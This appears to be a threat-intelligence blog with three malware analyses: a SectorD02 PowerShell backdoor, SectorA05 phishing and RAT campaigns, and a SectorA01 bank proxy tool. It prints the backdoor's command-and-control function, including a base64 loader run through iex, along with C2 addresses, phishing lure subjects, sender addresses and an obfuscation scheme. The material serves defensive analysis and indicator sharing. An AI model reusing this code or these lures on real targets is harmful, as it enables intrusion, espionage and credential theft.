SectorD02 PowerShell Backdoor Analysis


SectorD02 is a state sponsored threat actor group which mainly targets governments and organizations around the Middle East. In this case, the target of this malware was Turkey, although it has been reported that they also sometimes target countries outside of the Middle East. One characteristic of SectorD02 is their incrementally changing PowerShell backdoor.

We came across two of SectorD02’s such backdoors at the end of 2018, and we analyzed these variants then identified them as the group’s PowerShell malware. SectorD02 focuses on using PowerShell scripts to carry out their attacks and loading those scripts past layers of obfuscation through a variety of methods. One such method is via PS2EXE (PowerShell to EXE), and our analysis on public reporting has shown they have used this vector sometimes [1] since their attacks had first been grouped and given a name [2].

PowerShell Backdoor

Both versions of the PS2EXE backdoors we came across end up executing the exact same PowerShell script (which includes the same victim ID), and the main difference seems to be that they were compiled seconds apart and yet having different compiler linker versions.

Hash (SHA-256)Compile TimestampLinker Version
4cdf04c09d144c0c1b5ec7ac91009548db1546e1d1ed4d6fbfb64942a0bd039414.10.2018 09:20:038.0 (.NET 2)
d95fada028969497d732771c4220e956a94a372e3fd543ba4d53b9a927cabe1c14.10.2018 09:20:2010.0 (.NET 4)

This is a strange scenario and seems to indicate that the attacker had likely either introduced build automation into its malware creation process or had more than one employee/machine/environment for creating builds for distribution and did so almost at the same time. However, since SectorD02 is constantly changing their methods of producing malware and the scripts themselves, it does not make any economical sense to automate this in a build and we have not seen evidence of it elsewhere, so the latter is what we believe to be the most likely scenario.

After extracting the encoded PowerShell script from the PS2EXE executable, the first thing we see is some Hebrew text stored in two variables. These same unused variables have been left there in other variants of their backdoor reported by others, but is completely meaningless as the attackers have even left Chinese text in earlier samples [3].

Some of the things we see in this version are:

  • Hiding and setting of system attribute for svchost.html,, and svchosts.exe in the C:\Windows directory. Similar sounding filenames/extensions have been reported being used by this group elsewhere [4], and indicate that there are other pieces of malware used in the same attack we are not yet aware of.
  • First persistence: Standard HKLM run registry key for “WindowsDefender” with the value “c:\windows\system32\rundll32.exe advpack.dll,LaunchINFSection C:\Windows\svchost.html,svchost,1,”.
  • Second persistence: Scheduled task with the same value as before under “Microsoft\WindowsMapsUpdateInfo”.

Creating the Victim ID

As usual, they follow their mechanism for getting the victim ID using a combination of information taken from the victim machine. This similar kind of mechanism can be seen since early last year [5]. Recently, other researchers found a different version which used “::” as a separator instead of “**” [6], but it is hard to say whether these malware are made by the same group.

$SysInfo = getOS $SysInfo += “**” $SysInfo += getIP $SysInfo += “**” $SysInfo += getArch $SysInfo += “**” $SysInfo += getHostName $SysInfo += “**” $SysInfo += getDomain $SysInfo += “**” $SysInfo += isAdmin $SysInfo += getUsername $SysInfo += “**” $SysInfo += getPIP $global:id = md5generator($SysInfo) return ($global:id + ‘**’ + $SysInfo)

C2 Commands

When the group is not changing their malware functionality, they are constantly at least changing their naming of items in their scripts. In this variant, we can see the commands “upload”, “cmd”, “b64”, and “muddy”.

function command_and_control($cmd){ try{ if($cmd.StartsWith(‘upload’)){ try{ $cmd=$cmd.replace(‘upload ‘,”) $wc = New-Object System.Net.WebClient $wc.proxy = [Net.WebRequest]::GetSystemWebProxy() $wc.proxy.Credentials = [Net.CredentialCache]::DefaultCredentials $wc.DownloadFile($cmd, (“c:\programdata\” + $cmd.Substring($cmd.LastIndexOf(‘/’),$cmd.Length-$cmd.LastIndexOf(‘/’)))) return Eval “pwd” }catch{ return $_.Exception.Message } } elseif($cmd.StartsWith(‘cmd’)){ $cmd=$cmd.replace(‘cmd ‘,”) try{ $out = cmd /c $cmd $out = $out | Out-String return $out } catch { return $_.Exception.Message } } elseif($cmd.StartsWith(‘b64’)){ $cmd=$cmd.replace(‘b64 ‘,”) try{ $cmd = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($cmd)) $out = Eval $cmd $out = $out | Out-String return $out } catch { return $_.Exception.Message } } elseif($cmd.StartsWith(‘muddy’)){ $cmd=$cmd.replace(‘muddy ‘,”) $cmd = shttpGET($cmd) set-content -path “c:\programdata\LSASS” -value $cmd try{ Start-Process powershell -ArgumentList ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(“LWV4ZWMgQnlwYXNzIC1jICRzPShnZXQtY29udGVudCBjOlxwcm9ncmFtZGF0YVxMU0FTUyk7JGQgPSBAKCk7JHYgPSAwOyRjID0gMDt3aGlsZSgkYyAtbmUgJHMubGVuZ3RoKXskdj0oJHYqNTIpKyhbSW50MzJdW2NoYXJdJHNbJGNdLTQwKTtpZigoKCRjKzEpJTMpIC1lcSAwKXt3aGlsZSgkdiAtbmUgMCl7JHZ2PSR2JTI1NjtpZigkdnYgLWd0IDApeyRkKz1bY2hhcl1bSW50MzJdJHZ2fSR2PVtJbnQzMl0oJHYvMjU2KX19JGMrPTE7fTtbYXJyYXldOjpSZXZlcnNlKCRkKTtpZXgoW1N0cmluZ106OkpvaW4oJycsJGQpKTs=”))) -WindowStyle Hidden return (Eval “ls c:\programdata”) } catch { return $_.Exception.Message } } else { return Eval $cmd } } catch{ return $_.Exception.Message } }

Random Proxy

This variant has four C2 IP addresses and uses one of them randomly. These IP addresses were used in other attacks around the same time as well [1]. As usual, these C2 servers are likely to be simply hacked servers like as before [7], something acknowledged by the attacker when they refer to their servers as proxies as well.

$C = @(‘hxxp://78[.]129[.]139[.]148′,’hxxp://79[.]106[.]224[.]203′,’hxxp://104[.]237[.]233[.]17′,’hxxp://185[.]34[.]16[.]82’) function getRandomProxy(){ $rnd = Get-Random -minimum 0 -maximum ($C.Length) $global:url = $C[$rnd] }

Interestingly, even at the time of writing, two of the proxy C2 servers (79[.]106[.]224[.]203 and 185[.]34[.]16[.]82) had the “MikroTik bandwidth-test server” on port 2000 enabled and that could have been how the servers got compromised and used as C2 servers.


SectorD02 is one of those groups which are much harder and complicated to attribute attacks to because attribution based solely/heavily on technical indicators from malware simply does not work. We have talked about this before in our previous post [8] and although this backdoor can be considered a custom malware, it may as well be open source because it is so easy for others to modify these malware and reuse it for their own attacks.

Indicators of Compromise

Hashes (SHA-256)






The Double Life of SectorA05 Nesting in Agora (Operation Kitty Phishing)


In early January 2019, an email containing malware was distributed to 77 reporters covering topics related to the Unification Ministry of South Korea. We analysed these malware and identified them as malware used by SectorA05, and we confirm that they have been using a specific C2 server with a Korean domain name using Japanese IP address for at least 27 months continuously.

In addition to these phishing attacks containing malware, phishing attacks were also used to steal email account information. These attacks mainly targeted South Korean government personnel such as employees from the central government, unification ministry, diplomacy, and defense. Recently, they have also expanded their targets to include cryptocurrency exchanges and individual users.

Their main purpose is to capture government confidential information and achieve monetary gain through stealing cryptocurrencies such as Ethereum and Bitcoin. We decided to group these wave of attacks under what we call “Operation Kitty Phishing”. Their attacks have been ongoing on a daily basis, and what we have discovered so far only appears to be the tip of the iceberg.

January 2019 Unification Reporters Attack

On January 7th, 2019, an email containing malware was distributed to 77 reporters who cover topics related to the Unification Ministry of South Korea using the email subject “RE: TF 참고자료”. A “TF 참고.zip” attachment had a password set and the password was sent along with the body of the email. The word “비번” in the body of the email is a slang word is used mainly by South Koreans, so these hackers are proficient in South Korean.

The zip attachment consists of two normal document files and a piece of executable malware disguised using a Hangul Word Processor (HWP) document icon with a lot of spaces in the filename so that the “.exe” extension is not visible to the user, thereby inducing file execution. When the malware is executed as an SFX (self-extracting archive) file type, it decompresses one normal Hangul Word Processor (HWP) document, “2.wsf” and “3.wsf”. What is unique about this is that it uses two different RATs. The first RAT is a DLL downloaded via “2.wsf” and the second RAT is the script-based “3.wsf” file. Even if one of them are detected, the other one gets used.

A. DLL-based RAT (downloaded by “2.wsf”)

The purpose of the “2.wsf” script is to download and run the BASE64 encoded “Freedom.dll” malware.

The malware spreads using a Google Drive URL in the “2.wsf” script. The URL of the C2 server is stored in Google Drive, and the C2 URL at the time of analysis was “hxxp://my-homework.890m[.]com/bbs/data/”.

“2.wsf” sends a progress log to the C2 server by the progress step so that the hacker can check the progress of each target user.

hxxp://my-homework.890m[.]com/bbs/data/board.php?v=a Finished getting C2 URL
hxxp://my-homework.890m[.]com/bbs/data/board.php?v=b The file name to be saved has been created
hxxp://my-homework.890m[.]com/bbs/data/board.php?v=c The brave.ct file has been downloaded.
hxxp://my-homework.890m[.]com/bbs/data/board.php?v=e Decoded and saved as Freedom.dll
hxxp://my-homework.890m[.]com/bbs/data/board.php?v=f Executed the Freedom.dll file.

The file downloaded via “2.wsf” is “Freedom.dll”. This file uses Google Drive to get the address of the C2 server, but if it cannot connect to the C2 server or Google Drive, it uses “ago2[.]co[.]kr” as the C2 by default. This C2 server using a Korean Top Level Domain with a Japanese IP address is an important clue to track them.

This “Freedom.dll” file is designed to act as a downloader and has the following roles:

  • Check whether OS is 32-bit or 64-bit. If it is a 64bit OS, download and decrypt 64-bit malware ( then execute it.
  • It periodically sends infection information to the C2 server using the server relative path “/bbs/data/tmp/Ping.php?WORD=com_[MAC Address]&NOTE=[Windows Version]”
  • If the hacker uploads additional malware for a specific user, download “Cobra_[MAC Address]” file from C2 and decrypt the “Cobra_[MAC Address]” file then run Cobra.dll.
  • “/bbs/data/tmp/D.php?file=Cobra_[MAC Address]” is used to delete files from the C2 server.
  • DLL injection to explorer.exe

The “Freedom.dll” file uses a XOR Table to download and decrypt additional encrypted malware hosted on the C2 server. The XOR Table values used is ”
B20A82932F459278D44058ADBF3113FB56C1D749947D0FE00FE0ABC84BC8A02B” and this XOR Table has also been used in previous attacks of same hacker organization. More information about this XOR table is covered later in this post.

Depending on the target user, the hacker also selectively sends additional malware binaries under the file name “Cobra_[MAC Address]” which steals user information. This helps them ensure that their more valuable malware is kept only for victims they are interested in.

These additional malware binaries are covered later in this post.

B. Script-based RAT (“3.wsf”)

The “3.wsf” script is a script-based RAT. Unlike other malicious WSF (Windows Script File) scripts, it has its own RAT function and registers itself in the “RUN” registry with an “AhnLab V4” value to the persistent mechanism. AhnLab is a Korean local security vendor.

“3.wsf” downloads the C2 server’s URL from Google Drive.

hxxp://my-homework.890m[.]com/gnu/ver Version Check / Update
hxxp://my-homework.890m[.]com/gnu/board.php?m=MAC_ADDR&v=VERSION|TIMEOUT Get C2 command

The kinds of commands that the attacker makes through the C2 server are as follows.

[C2 command processing logic included in ‘3.wsf’ RAT]
C2 Control CodeDescription
cmd Execute command
download Download file from C2 server
upload Upload file to C2 server
update Update the “3.wsf” file
interval Change execution cycle (Default value 3 minutes)

A look at their past

We analyzed the above malware and identified them as SectorA05. Below is a look at their activities and attack methods based on the information from their malware.

Phishing Method of SectorA05 (Initial attack stage)

SectorA05 uses two methods of phishing for gaining initial access. First, phishing attacks to steal passwords of victim e-mail accounts and second, phishing attacks with malware attached to steal information of victim PCs.

A. Phishing attacks that steal passwords of email accounts

They create a phishing site similar to one that the target user uses and sends it to the target. They often mislead the victim using a security-related problem, such as a password reset request, to entice the target user to enter a password.

B. Malware attachment attacks

Malware is delivered via a variety of email attachments – script files, vulnerabilities in HWP documents, and renamed “EXE” executables looking like ordinary documents. These files are usually delivered as compressed files.

(1) Using script files

“WSF” and “VBS” script files are compressed into a single archive, which induces the user to execute the script file in the compressed file. The scripts used in the actual attack are as follows.

  • “정보보고.wsf” (Jan 2018)

    SHA256: 575606c03d3775cd8880c76a3ef7c014cfcab08411a01f07fc3fcb60166be50b

  • “공지사항.png.vbs” (July 2018)

    SHA256: c87f4aeebd3f518ba30780cb9b8b55416dcdc5a38c3080d71d193428b0c1cc5a

(2) Vulnerabilities in HWP documents

Using vulnerabilities in the HWP software which is widely used in Korea, malware can be executed when the target user views this document which was attached to the email. The HWP file used in the actual attack is as follows.

  • “종전선언.hwp” (May 2018)

    SHA256: 5f2ac8672e19310bd532c47d209272bd75075696dea6ffcc47d1d37f18aff141

(3) Executables looking like normal documents

The attacker inserts a lot of spaces in the filename to make the extension of the executable file such as “.exe” or “.scr” to be hidden from the user and misleads them into thinking the executable files are normal document files. The files used in the actual attack are as follows.

  • “미디어 권력이동⑥-넷플렉스, 유튜브.hwp [many space] .exe” ( Jan 2019)

    SHA256: c6c332ae1ccb580ac621d3cf667ce9c017be41f8ad04a94c0c0ea37c4789dd14

  • “중국-연구자료.hwp [many space] .scr” (Jan 2019)

    SHA256: 84edc9b828de54d4bd00959fabf583a1392cb4c3eab3498c52818c96dc554b90

Use of Google Drive

SectorA05 used Google Drive as a way to supply malware. Malware binaries, C2 domain information necessary for normal malware operations, and malware configuration files were all uploaded to Google Drive with accounts they created. These binaries will be downloaded through a script executed by the victim during the initial infection, with additional configuration or customized malware downloaded as well afterward. Using Google Drive also allowed them to bypass network security devices which would typically ignore Google services as a white-listed domain.

Here is a screenshot of Google Drive used by them.

The Google Drive URLs identified as used by the organization are:

  • hxxps://drive[.]google[.]com/uc?export=download&id=0B9_jdTGo3-sndXJESjllMkloOFU
  • hxxps://drive[.]google[.]com/uc?export=download&id=0B9_jdTGo3-snT3RTMHJMZEk2Szg
  • hxxps://drive[.]google[.]com/uc?export=download&id=1MVR58_5SlXgDZ5arasQk9AnmihAb3KJ6
  • hxxps://drive[.]google[.]com/uc?export=download&id=1ocUSxHf_0jUjVMMbAQzwTJb0blUG0bYh
  • hxxps://drive[.]google[.]com/uc?export=download&id=1olByidca-8vkS-5jRKL9CirKPEP7waHm
  • hxxps://drive[.]google[.]com/uc?export=download&id=1RC5_9WWrfMMZKfu11OfIac5y2d5vRH1c
  • hxxps://drive[.]google[.]com/uc?export=download&id=1xCePTgAdwNIAN7MWOH_80aN_TZgn8uFv

Gmail Phishing attacks

SectorA05 conducted phishing attacks for each target user’s email service. They used phishing attacks on users who were using Korea’s leading e-mail services and Google’s Gmail service. Through these phishing attacks, they wanted to get the password of the target user account. Here’s a look at some examples of Gmail phishing attacks.

The following screenshot shows phishing emails disguised as being sent from Gmail’s security team. It is actually sent to a specific target user by a hacker in SectorA05. It requests the target user to protect their email account because there was some unusual activity which does not seem to have been performed by the target user – if the link is clicked, the target user is directed to the phishing login site where the target user’s password will be transferred to the attacker’s server if they enter their password and “protect” their account.

[Examples of Gmail phishing mail]

SectorA05 has been using phishing attacks for many years. The phishing email information they used are as follows.

A. Phishing Mail Sender Email Address

They created email addresses that confused victims by using security-related keywords such as protect, privacy, and security.

  • acc[.]signnin[.]send@gmail[.]com
  • countine[.]protector[.]mail@gmail[.]com
  • n0[.]reaply[.]moster@gmail[.]com
  • no[.]raply[.]letservice@gmail[.]com
  • no[.]repiy[.]acc[.]notice@gmail[.]com
  • noreaply[.]securiity@gmail[.]com
  • noreply[.]centre[.]team@gmail[.]com
  • privacy[.]protect[.]team@gmail[.]com
  • protect[.]password[.]teams@gmail[.]com
  • protect[.]privacy[.]accounnt@gmail[.]com
  • protector[.]privacy[.]master@gmail[.]com

B. Phishing Mail Subject

Phishing email subject lines used were primarily focused on email security – sending emails in the subject related to topics such as email hijackings, login attempts, security status, recovery emails, and password resetting, to convince victims to verify account information.

  • “[경고] 구글은 귀하의 비밀번호를 이용해 계정에 접근하려는 수상한 로그인 시도를 차단했습니다.”
  • “[경고] 누군가가 내 계정에 접근하려는 로그인 시도를 차단했습니다. 즉시 보호상태를 확인하세요.”
  • “[경고] 누군가가 내 비밀번호를 이용해 계정에 접근하려는 시도가 있었습니다”
  • “[중요] 누군가가 내 계정에 접근하려는 시도를 차단했습니다.”
  • “[중요] 즉시 보안상태를 확인하세요.”
  • “누군가가 내 이메일 주소를 복구 이메일로 추가했습니다”
  • “비밀번호 재설정 요청이 접수되었습니다.”
  • “연결된 Google 계정 관련 보안 경고”

The next part is translated into English.

  • “[WARNING] Google has blocked suspicious sign-in attempts to access your account using your password.”
  • “[WARNING] Someone has blocked sign-in attempts to access your account. Please check the protection immediately.”
  • “[WARNING] Someone tried to access your account using my password”
  • “[IMPORTANT] Someone has blocked an attempt to access your account.”
  • “[IMPORTANT] Check your security status immediately.”
  • “Someone added my email address as a recovery email”
  • “Your password reset request has been received.”
  • “Security warnings associated with linked Google Accounts”

C. Phishing Server Domain Address

The sub-domain name of the phishing page was also made to try to confuse the target user by using names similar to the target user’s email provider, such as using “qooqle” instead of “google”.

  • hxxp://acount-qooqle[.]pe[.]hu
  • hxxp://myacccounts-goggle[.]hol[.]es
  • hxxp://myaccounnts-goggle[.] esy[.]es
  • hxxp://qqoqle-centering[.]

Domains used as phishing servers were used not only for phishing but also for servers that distributed malware and servers that collected information from the victims.


In January 2019, the malware distributed to the reporters downloaded files which obtained C2 information from Google Drive. The hacker’s Google Drive account is “countine[.]protector[.]mail@gmail[.]com”. This email account was also used for Gmail phishing attacks in September 2017 which asked for a password reset. This is an example of one of the Gmail accounts they create and use for both phishing and hosting Google Drive malware content.

Building a nest in “Agora”

“Agora” was an open meeting place in ancient Greek cities. In one of South Korea’s famous portal sites, the name “Agora” was used as an online space for articles and public discussion. A similar site called “Agora 2.0” was created to mimic this but had been neglected for a long time. The site has a domain called “ago2[.]co[.]kr” and has a Japanese IP address.

[Description of the site ‘Agora 2.0’]

SectorA05 hacked the “ago2[.]co[.]kr” server and used it as a C2 server. In January 2019, malware distributed to the reporters used “ago2[.]co[.]kr” as one of the C2 servers. As we continued investigating, we found that the server has been used as a malicious C2 server for at least 27 months. For example, the malware hash “2a25d42130837560fcff1e1e19264f05784bf9e9db6464afb15d7e26f7f4a433” used “ago2[.]co[.]kr” as a C2 server in “Operation Kitty Phishing” in November 4th, 2016.

Thus, they have built an illegitimate nest at “ago2[.]co[.]kr” and have used it as C2 for more than 27 months since at least 2016. In 2017 and 2018, malware from SectorA05 was still using that domain as a C2 server.

The Constant XOR Table

SectorA05 uploads encrypted malware to their C2 server, and the existing malware decrypts it with a XOR Table and then executes it. As we tracked usage of this XOR Table, we confirmed that malware using the same XOR table was used for the attack in June 2017. There are two kinds of XOR tables used as follows.

[January 7, 2019 XOR Decode function used in malware against reporters]

“Case A” refers to the group of malware samples used to attack the reporters, and this XOR Table was already in use in 2017.

Case HASH (SHA256) Timestamp (UTC+9) XOR Table
  f070768ba2d0091b66e2a15726e77165f64ec976e9930425009da79c7aa081ac 2017-06-02 10:09:19 051BC852ED4D1E4BD44030D6BF3187D056C1BE63947D08B00FE0F2E84BC8AB82
A 7603be6e20fdf1338f5de8660b866a7dcb87f1468d139930d9afcba7f3acabb4 2018-12-26 01:40:20
  8573d9008cca956a8f8b9a46ed7880b471435327e8e0ea42b2e143b410a99d7b 2017-07-15 11:23:06B20A82932F459278D44058ADBF3113FB56C1D749947D0FE00FE0ABC84BC8A02B
A fce7a02f4ca7bdab7fdb8168a2478e5897f6f31e3b53d36378033f6ba72ddc29 2018-12-10 06:55:36
A 48ba9d01f1fba5421e8bfbdd384a3849916bbd3e7930557f7d8f92f27cceb5fe2018-12-10 06:55:27
A 12ee511259f7f03e8472efa8baf3e250b64f8da65fe71212cedfdac887f503f42019-01-07 16:28:29
A 55e69e1337af0d93b5a3742d999bf805177c404e7e60e48f303509592ecd0e292019-01-07 16:41:09

Here, Kitty, Kitty!

After initial infection, SectorA05 performs reconnaissance first, such as taking the entire file list of the target user. If the target user has important information related to the Korean government or information related to cryptocurrency, they send additional malware and continuously monitor and collect information.

Additional malware we collected includes screen capture, keylogger, and Chrome Browser Password Stealer.

A. Screen Capture Module

This module periodically captures the victim screen, compresses it, and then sends it to a specific folder on the C2 server. An example of the file name to be transmitted is “[MAC Address]_imgscr_20190124_235450161”.

(SHA256 : 98e1cc1b96b420ece848a2b43a0c1ae0b5f9356a11227fca181ada95435d2c63)

[Code to capture screen]

B. Keylogger Module

This module periodically sends user’s keystrokes together with the window name of the program keystrokes were entered into to the hacker.

(SHA256 : 71841a1b5ee1b383a9282bf513723b7f1713a0e1ee501db38d64c2db9ba08ec4)

[Code to store the victim’s keyboard input value]
[Keylogging information sent to the C2 server]

C. Chrome Browser Password Stealer Module

This module steals information from the Chrome Browser and sees the value of the cookie and login data file in the “\AppData\Local\Google\Chrome\User Data\Default\”.

(SHA256 : 08ac5048e86d368eea55d55781659dc54070debc9d117ed0a5ca8edd499fe1f8)

[Code to steal cookies from Chrome Browser]

In some cases, by identifying the user name of the victim PC during the initial infection, the additional malware sent is compiled on a per victim basis. For example, the malware might make use of a fixed username and only steal information related to that specific user.

[Code to steal the login data of CEO user’s Chrome Browser]

Stealing Coins – a personal purpose or a nation state goal?

As we watched SectorA05’s theft activity, we realized that they divided their targets into two classes. The purpose of targeting the first target class was to steal information from South Korean government officials and the purpose of targeting the second target class was to steal cryptocurrency. SectorA05 is an organization that traditionally seeks to seize confidential information from South Korea and neighboring countries. In recent years, however, we found that they are spending a lot of time trying to steal cryptocurrency as well.

We wonder whether SectorA05 is expanding its official role from spying to also including stealing cryptocurrencies, or whether some of SectorA05 staff are deviating from their official interests.

In any case, they continued to actively steal cryptocurrency-related coins from both classes. Their goals are employees of cryptocurrency exchanges, normal users of cryptocurrency, and cryptocurrency-related developers.

They searched the victim’s directory for the cryptocurrency wallet and private key as follows:

[Navigate the file path where the cryptocurrency wallet and private key are stored]

Then, in order to take the control of the cryptocurrency wallet and corresponding private keys stored in the file path, additional malware (“59203b2253e5a53a146c583ac1ab8dcf78f8b9410dee30d8275f1d228975940e”) which compresses the files in the file path is distributed to the target users.

We see that they are responsible for monitoring and managing additional post-infection actions such as manually compiling and distributing additional malware to collect files.

[Malware that compresses files in a path with a wallet and a private key]

They also stole the Ethereum Keystore file issued by MyEtherWallet.

Thus, they are not only interested in confidential information of the government but also in stealing cryptocurrencies.

Kitty? Why? Who?

During the course of constantly tracking SectorA05, we found a management script that they use to manage victims. In the script file itself, they referred to their victims as “Kitty”. We decided to call their operation name “Operation Kitty Phishing”.

[Administrative scripts that an attacker manages victims]

They never stop working

We were surprised at their endless hacking activities as we track them down. They spread phishing e-mails to target users without rest, and their malware continued to spread. Even after distributing malware to reporters covering the Unification Ministry in early January 2019, they then distributed malware to potential users of cryptocurrency.

In addition, if the infected victim’s PCs were scanned and files related to cryptocurrency were found, malware would be compiled and distributed to individual users. The malware hash “f483d5051f39d1b08613479ccbc81423a15bfe5c5fb5a7792d4307a8af4e4586” is an example of a malware compiled and created solely for a single user. As the user name of the victim PC is exposed, the malware for stealing cryptocurrency is tailored for the individual user and distributed in real time.

[Steal a specific file from the victim’s PC username folder]

After they sent malware to the reporters, they continued to use the following URLs containing malware.

  • hxxp://safe-naver-mail[.]pe[.]hu/Est/down/AlyacMonitor64
  • hxxp://safe-naver-mail[.]pe[.]hu/Est/down/cookie.a
  • hxxp://safe-naver-mail[.]pe[.]hu/Est/down/2.a
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]
  • hxxp://aiyac-updaite[.]


We have been constantly tracking “Operation Kitty Phishing” activity of SectorA05, which is targeting key government officials, cryptocurrency exchanges, and users in South Korea. We were amazed that their activities are older and last longer than we thought.

It was very difficult initially to judge whether the organization conducting email account phishing and the organization distributing malware were part of the same organization, but after tracking them over a long period, we can say with high confidence that they are both part of SectorA05 and are running both operations simultaneously.

While we write this article, they are continuing their malicious activities. We will still keep track of them. Therefore, if new activity is confirmed, our ThreatRecon Team will continue reporting on our findings.

Indicators of Compromise (IoCs)

Hashes (SHA-256)

028abdf89dc34088c2935e972a97f2d1249efe100f6282979d1771121c45101c 03cd82887b032ce2968bb739d13e1dd0ce3683df5bc1b87edc6872ddcd1dc625







MITRE ATT&CK Techniques

The following is a MITRE ATT&CK matrix that applied the “Operation Kitty Phishing” of the SectorA05 group.

Initial Access

Spearphishing Attachment
Spearphishing Link
Valid Accounts


Command-Line Interface
Execution through API
Execution through Module Load
Exploitation for Client Execution
Graphical User Interface
Third-party Software
User Execution


Registry Run Keys / Startup Folder
Valid Accounts

Privilege Escalation

Process Injection
Valid Accounts

Defense Evasion

Deobfuscate/Decode Files or Information
File Deletion
Obfuscated Files or Information
Process Injection
Valid Accounts
Web Service

Credential Access

Credential Dumping
Credentials in Files
Input Capture
Private Keys


Application Window Discovery
File and Directory Discovery
Process Discovery
Query Registry
System Information Discovery
System Owner/User Discovery

Lateral Movement



Automated Collection
Data from Local System
Data from Network Shared Drive
Data from Removable Media
Email Collection
Input Capture
Screen Capture


Automated Exfiltration
Data Compressed
Exfiltration Over Command and Control Channel
Scheduled Transfer

Command And Control

Commonly Used Port
Data Encoding
Multi-Stage Channels
Remote Access Tools
Standard Application Layer Protocol
Web Service

SectorA01 Custom Proxy Utility Tool Analysis


SectorA01 is one of the most infamous state sponsored threat actor groups globally and is unique in the sense that it is one of the only state sponsored groups with large interests in financial crime. So with the continued interest into SectorA01’s financial crime activities due to the recent potential misattribution of the Ryuk ransomware [1], we decided to perform an analysis into one of the tools – a proxy utility executable – used exclusively by SectorA01 that recently caught our attention again.

Interestingly, in the Hidden Cobra FASTCash report by the US-CERT [2] in October last year, there were two versions of a “Themida packed proxy service module” (i.e. x32 and x64 versions). Our analysis of those modules showed code reuse of critical functions with the sample we are analyzing in this post, leading us to think that those samples might be an evolution of this sample.

SectorA01 Proxy Utility

SectorA01 uses a variety of tools for different purposes, but one common custom tool used in the attacks targeting the Polish banks in 2016-2017 [3], a Taiwanese Bank in 2017 [4], and Vietnamese banks in 2018 [5] is one of their custom proxy utility executables.

The latest unique sample of this proxy utility we could find was on December 10th, 2018 from Canada. This leads us to one of a few possible theories that Canadian bank(s) may have been one of the many unreported or reported [6] targets during the time period of the attack on the Taiwanese bank based on the compilation timestamps.

As we can see from the FASTCash proxy samples below, at least one of their developers compiles the 64-bit sample immediately after compiling the 32-bit sample – behavior very normal for developers when compiling for multiple systems. The same thing can be seen for the two samples on 20 Feb 2017, and so in fact instead of calling them samples targeting a Taiwanese bank and potentially a Canadian bank, it may be more accurate to call it just one of the many pairs of 32-bit and 64-bit proxy samples produced by the group.

A proxy was also used against an unnamed Southeast Asian bank [7] which appears to be an older version of the proxy, and against an Indian bank [8] which appears to be a newer version of the proxy based our code analysis from samples in the US-CERT FASTCash report.

But despite the similarities, however, we are unable to definitively state that these samples were earlier (unnamed Southeast Asian bank) or later (FASTCash attack, such as against the Indian bank) versions of the proxy. After all, SectorA01 has more than one proxy tool in its arsenal, such as the proxy used together with their TYPEFRAME trojan [9] which has a separate code base.

DescriptionCompilation Timestamp
Attack on unnamed SEA bank (old version)17 Sep 2014 16:59:33
Attack on several Polish banks (variant)24 Aug 2015 10:21:52
Attack on Vietnamese banks (variant)2 May 2016 03:24:39
Attack on a Taiwanese Bank (32-bit) (variant)20 Feb 2017 11:09:30
Sample Discovered from Canada (64-bit) (sample analyzed)20 Feb 2017 11:09:41
FASTCash (32-bit) (new version)14 Aug 2017 17:14:04
FASTCash (64-bit) (new version)14 Aug 2017 17:14:12

Sample Background

This executable is a custom tunneling proxy utility tool in SectorA01’s toolkit. It can be used as either a tunneling proxy server to forward traffic to another destination, or as a tunneling proxy client which requests another infected tunneling proxy server to perform requests.

Besides being used as one of several ordinary proxy servers in a chain of servers to hide the source of attacks, against one example banking target from India in the FASTCash attacks, “a proxy server was created and transactions authorized by the fake or proxy server”. In this scenario, the proxy utility seems to be not used just as a secondary helper utility, but as the primary attack malware.

SectorA01 normally packs these samples with either the Themida or Enigma Protector, but in this blog post we will only be showing the analysis of the unpacked sample.

Process Arguments

This utility requires a single process argument in order for it to run. It attempts to decode the argument and only continues its execution path if the decoded argument match the format it is expecting.

The argument is delimited by the “|” symbol, and the utility decodes up to four tokens with each token being decoded individually. The first is required and used as the primary C2 server (malware acting as tunneling proxy server) or as the URL to be requested (malware acting as tunneling proxy client), the optional second token is used as the proxy target information, the optional third token is used as proxy server information, and the optional fourth token is an optional proxy username and password.

Each deobfuscated token is separated by a colon “:”, which is used as the deobfuscated process arguments delimiter.

int __stdcall WinMain_0(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){ //deobfuscate process arguments here deobfuscation_complete: if ( strlen(deobfuscated_c2_1) != 0 && strchr(deobfuscated_c2_1, “:”) ){ … } return 0; }

The decoding algorithm makes use of a rotating character in an eight character string “cEzQfoPw” and the loop index to ensure that every deobfuscated character at a different index comes from a different two obfuscated characters.

We recreated this deobfuscation algorithm and created an obfuscation algorithm, which allowed us to forge our own process arguments. An example of a process argument which uses all four tokens could be “!y$t$A$s!z$S$e$U$Q$Y$1$W$U!}$d|!y#z$A$s!z$S$o$1$5$t$A$e$U!x|!y#{!}$Z$C$R$o$1$P#}$8$a!y!y|!00X!B0]0D!8#z$2$R0d$0$b!w!20c!70B0d”.

Example TokenDecoded C2 InformationUsage
!y$t$A$s!z$S$e$U$Q$Y$1$W$U!}$d Server (1-2 arguments)
Proxy Target (3-4 arguments)
!y#z$A$s!z$S$o$1$5$t$A$e$U!x172.16.1.1:443Proxy Target (2 arguments only)
!y#{!}$Z$C$R$o$1$P#}$8$a!y!y10.1.1.12:8080Proxy Server (3-4 arguments)
!00X!B0]0D!8#z$2$R0d$0$b!w!20c!70B0dsector%20a01:proxyProxy Authentication (4 arguments only)

Note that since the algorithm transforms every two encoded characters into one decoded character based on its character index, there are many possible two characters which will result in the same character, and finally countless different strings which would decode to a single string.

C2 Communication

The algorithm used for C2 communications is more straightforward – a combination of ADD/XOR repeatedly from each character in a hard coded 20 character byte array “{47 B0 62 0E 69 F3 22 8D 65 40 BF 39 24 A6 C3 BB 8E 68 EB B5}” is used for decoding, and the opposite XOR/SUB repeatedly from the reversed byte array is used for encoding. The algorithm restarts for each character without context, so it essentially ends up being a character substitution table.

There are eight commands to communicate with the C2 server, encoded by either the C2 server or the proxy client then decoded by the other side. These commands are in the Russian language but as other researchers have pointed out in the past, is simply a false flag.

